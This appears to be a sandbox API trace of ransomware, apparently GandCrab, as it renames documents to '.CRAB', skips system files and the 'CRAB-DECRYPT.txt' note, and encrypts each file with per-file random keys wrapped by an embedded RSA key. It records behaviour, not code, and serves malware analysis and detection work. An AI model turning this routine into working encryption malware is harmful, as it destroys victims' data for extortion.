	[0128.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="I2kK7YIMydRb7UFK.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx"
	[0128.137] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.137] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx") returned 80
	[0128.137] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx") returned 80
	[0128.137] lstrlenW (lpString=".docx") returned 5
	[0128.137] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.138] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0128.138] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.138] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx") returned 80
	[0128.138] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx") returned 80
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="desktop.ini") returned 1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="autorun.inf") returned 1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="ntuser.dat") returned -1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="iconcache.db") returned -1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="bootsect.bak") returned 1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="boot.ini") returned 1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="ntuser.dat.log") returned -1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="thumbs.db") returned -1
	[0128.138] lstrcmpiW (lpString1="I2kK7YIMydRb7UFK.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.138] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.138] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB") returned 85
	[0128.138] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\i2kk7yimydrb7ufk.docx")) returned 0x20
	[0128.139] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx", dwFileAttributes=0x20) returned 1
	[0128.139] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\i2kk7yimydrb7ufk.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\i2kk7yimydrb7ufk.docx.crab")) returned 1
	[0128.140] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.140] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB"
	[0128.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB.CRAB"
	[0128.140] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0128.143] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.143] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.143] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0128.143] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0128.143] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.144] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0128.146] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.147] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.147] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0128.147] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.147] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.147] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.147] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.147] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0128.150] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318f378) returned 1
	[0128.150] CryptGetKeyParam (in: hKey=0x318f378, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0128.150] CryptEncrypt (in: hKey=0x318f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0128.150] GetLastError () returned 0x0
	[0128.150] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.150] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0128.153] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318f7f8) returned 1
	[0128.153] CryptGetKeyParam (in: hKey=0x318f7f8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0128.153] CryptEncrypt (in: hKey=0x318f7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0128.153] GetLastError () returned 0x0
	[0128.153] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.153] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\I2kK7YIMydRb7UFK.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\i2kk7yimydrb7ufk.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0128.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.154] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.154] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x55ae, lpOverlapped=0x0) returned 1
	[0128.164] VirtualAlloc (lpAddress=0x0, dwSize=0x55b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.165] VirtualAlloc (lpAddress=0x0, dwSize=0x55b0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.166] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.166] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffaa52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.166] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x55b0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0x55b0, lpOverlapped=0x0) returned 1
	[0128.166] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.167] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.170] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0128.170] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0128.170] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0128.170] CloseHandle (hObject=0x3f4) returned 1
	[0128.170] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.171] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.171] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.171] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.171] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.171] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.172] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0128.172] lstrcmpW (lpString1="SdOfLgWQgSU.ots", lpString2=".") returned 1
	[0128.172] lstrcmpW (lpString1="SdOfLgWQgSU.ots", lpString2="..") returned 1
	[0128.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="SdOfLgWQgSU.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots"
	[0128.172] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.172] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots") returned 74
	[0128.172] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots") returned 74
	[0128.172] lstrlenW (lpString=".ots") returned 4
	[0128.179] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.179] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ots ") returned 5
	[0128.179] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.179] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots") returned 74
	[0128.179] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots") returned 74
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="desktop.ini") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="autorun.inf") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="ntuser.dat") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="iconcache.db") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="bootsect.bak") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="boot.ini") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="ntuser.dat.log") returned 1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="thumbs.db") returned -1
	[0128.180] lstrcmpiW (lpString1="SdOfLgWQgSU.ots", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.180] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.180] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB") returned 79
	[0128.180] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\sdoflgwqgsu.ots")) returned 0x20
	[0128.180] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots", dwFileAttributes=0x20) returned 1
	[0128.181] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\sdoflgwqgsu.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\sdoflgwqgsu.ots.crab")) returned 1
	[0128.181] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.182] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB"
	[0128.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB.CRAB"
	[0128.182] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0128.185] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.185] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.185] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.185] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0128.185] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.185] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.185] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0128.188] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.189] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.189] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.189] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0128.189] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.189] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.189] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.189] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.190] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0128.192] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318fa78) returned 1
	[0128.192] CryptGetKeyParam (in: hKey=0x318fa78, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0128.192] CryptEncrypt (in: hKey=0x318fa78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0128.193] GetLastError () returned 0x0
	[0128.193] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.193] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0128.195] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318f878) returned 1
	[0128.195] CryptGetKeyParam (in: hKey=0x318f878, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0128.196] CryptEncrypt (in: hKey=0x318f878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0128.196] GetLastError () returned 0x0
	[0128.196] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0128.196] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\SdOfLgWQgSU.ots.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\sdoflgwqgsu.ots.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0128.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.197] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.197] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0xf42a, lpOverlapped=0x0) returned 1
	[0128.209] VirtualAlloc (lpAddress=0x0, dwSize=0xf430, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.211] VirtualAlloc (lpAddress=0x0, dwSize=0xf430, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.213] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.213] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff0bd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.213] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xf430, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0xf430, lpOverlapped=0x0) returned 1
	[0128.213] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.214] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.218] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0128.218] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0128.218] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0128.218] CloseHandle (hObject=0x3f4) returned 1
	[0128.218] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.218] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.218] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.219] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.219] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.221] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.221] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0128.221] lstrcmpW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2=".") returned 1
	[0128.221] lstrcmpW (lpString1="xPjU8avsXeSBHCcuF6xh.ppt", lpString2="..") returned 1
	[0128.221] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="xPjU8avsXeSBHCcuF6xh.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt"
	[0128.222] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.222] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt") returned 83
	[0128.222] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt") returned 83
	[0128.222] lstrlenW (lpString=".ppt") returned 4
	[0128.222] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.222] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0128.222] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.222] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\xPjU8avsXeSBHCcuF6xh.ppt") returned 83
